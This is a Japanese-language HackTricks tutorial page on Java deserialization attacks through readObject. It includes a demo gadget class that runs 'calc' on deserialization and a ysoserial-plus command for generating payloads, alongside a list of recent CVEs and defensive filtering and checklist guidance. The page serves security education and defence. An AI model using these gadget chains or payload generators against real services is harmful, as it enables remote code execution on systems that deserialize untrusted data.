Basic Java Deserialization with ObjectInputStream readObject
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このPOSTでは、java.io.Serializable
を使用した例と、攻撃者が制御するストリームがある場合、readObject()
をオーバーライドすることが非常に危険である理由について説明します。
Serializable
JavaのSerializable
インターフェース(java.io.Serializable
)は、シリアライズおよびデシリアライズを行うためにクラスが実装しなければならないマーカーインターフェースです。Javaオブジェクトのシリアライズ(書き込み)はObjectOutputStream
を使用して行われ、デシリアライズ(読み込み)はObjectInputStream
を使用して行われます。
リマインダー: デシリアライズ中に暗黙的に呼び出されるメソッドはどれですか?
readObject()
– クラス固有の読み取りロジック(実装されていてprivateの場合)。readResolve()
– デシリアライズされたオブジェクトを別のものに置き換えることができます。validateObject()
–ObjectInputValidation
コールバックを介して。readExternal()
–Externalizable
を実装するクラス用。- コンストラクタは実行されません – したがって、ガジェットチェーンは前のコールバックのみに依存します。
そのチェーン内の任意のメソッドが攻撃者が制御するデータ(コマンド実行、JNDIルックアップ、リフレクションなど)を呼び出すと、デシリアライズルーチンはRCEガジェットに変わります。
シリアライズ可能なクラスPersonの例を見てみましょう。このクラスはreadObject関数をオーバーライドしているため、このクラスの任意のオブジェクトがデシリアライズされると、この関数が実行されます。
この例では、クラスPersonのreadObject関数がペットのeat()
関数を呼び出し、犬のeat()
関数が(何らかの理由で)calc.exeを呼び出します。この計算機を実行するためにPersonオブジェクトをシリアライズおよびデシリアライズする方法を見ていきます:
以下の例はhttps://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649からのものです
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
結論 (クラシックシナリオ)
この非常に基本的な例からわかるように、ここでの「脆弱性」は、readObject() メソッドが 他の攻撃者制御コードを呼び出している ために発生します。実際のガジェットチェーンでは、外部ライブラリ(Commons-Collections、Spring、Groovy、Rome、SnakeYAML など)に含まれる数千のクラスが悪用される可能性があり、攻撃者はコード実行を得るために 1つの 到達可能なガジェットが必要です。
2023-2025: Java デシリアライズ攻撃の新しい動向
- 2023 – CVE-2023-34040:
checkDeserExWhen*
フラグが有効な場合、Spring-Kafka のエラーレコードヘッダーのデシリアライズにより、攻撃者が公開したトピックから任意のガジェット構築が可能になりました。3.0.10 / 2.9.11 で修正済み。¹ - 2023 – CVE-2023-36480: Aerospike Java クライアントの信頼されたサーバー仮定が破られ、悪意のあるサーバーの応答にはクライアントによってデシリアライズされるシリアライズされたペイロードが含まれていました → RCE。²
- 2023 – CVE-2023-25581:
pac4j-core
ユーザープロファイル属性の解析が{#sb64}
プレフィックス付きの Base64 ブロブを受け入れ、RestrictedObjectInputStream
にもかかわらずデシリアライズされました。4.0.0 以上にアップグレードしてください。 - 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (ポート 10880) が XML エンコードされた Java オブジェクトを受け入れ、root/SYSTEM として RCE に至りました。
- 2024 – Hibernate5、TomcatEmbed、SnakeYAML 2.x クラスを含む新しいガジェットチェーンが ysoserial-plus(mod) に追加され、いくつかの古いフィルターをバイパスしました。
現代の緩和策
- JEP 290 / シリアライズフィルタリング (Java 9+) クラスの許可リストまたは拒否リストを追加:
# あなたの DTO と java.base のみを受け入れ、他はすべて拒否
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
プログラム例:
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
- JEP 415 (Java 17+) コンテキスト固有のフィルタファクトリ –
BinaryOperator<ObjectInputFilter>
を使用して、実行コンテキストごとに異なるフィルタを適用します(例: RMI 呼び出しごと、メッセージキューコンシューマごと)。 - 生の
ObjectInputStream
をネットワーク越しに公開しない – コード実行セマンティクスのない JSON/Binary エンコーディングを好む(DefaultTyping
を無効にした Jackson、Protobuf、Avro など)。 - 防御の深さの制限 – 最大配列長、深さ、参照を設定:
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
- 継続的なガジェットスキャン –
gadget-inspector
やserialpwn-cli
などのツールを CI で実行し、危険なガジェットが到達可能になるとビルドを失敗させます。
更新されたツールチートシート (2024)
ysoserial-plus.jar
– > 130 のガジェットチェーンを持つコミュニティフォーク:
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec
– JNDI ガジェット生成のリファレンスとして依然として有用 (LDAP/RMI)。gadget-probe
– ネットワークサービスに対する高速なブラックボックスガジェット発見。SerialSniffer
–ObjectInputStream
によって読み取られるすべてのクラスを印刷する JVMTI エージェント(フィルタを作成するのに便利)。- 検出のヒント –
-Djdk.serialDebug=true
(JDK 22+) を有効にして、フィルタの決定と拒否されたクラスをログに記録します。
安全な readObject()
実装のためのクイックチェックリスト
- メソッドを
private
にし、@Serial
アノテーションを追加します(静的解析に役立ちます)。 - ユーザー提供のメソッドを呼び出したり、メソッド内で I/O を行ったりしない – フィールドのみを読み取ります。
- 検証が必要な場合は、デシリアライズ後に
readObject()
の外で行います。 Externalizable
を実装し、デフォルトのシリアライズの代わりに明示的なフィールド読み取りを好みます。- 内部サービスに対しても強化された
ObjectInputFilter
を登録します(妥協耐性のある設計)。
参考文献
- Spring Security Advisory – CVE-2023-34040 Java Deserialization in Spring-Kafka (2023年8月)
- GitHub Security Lab – GHSL-2023-044: Unsafe Deserialization in Aerospike Java Client (2023年7月)
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。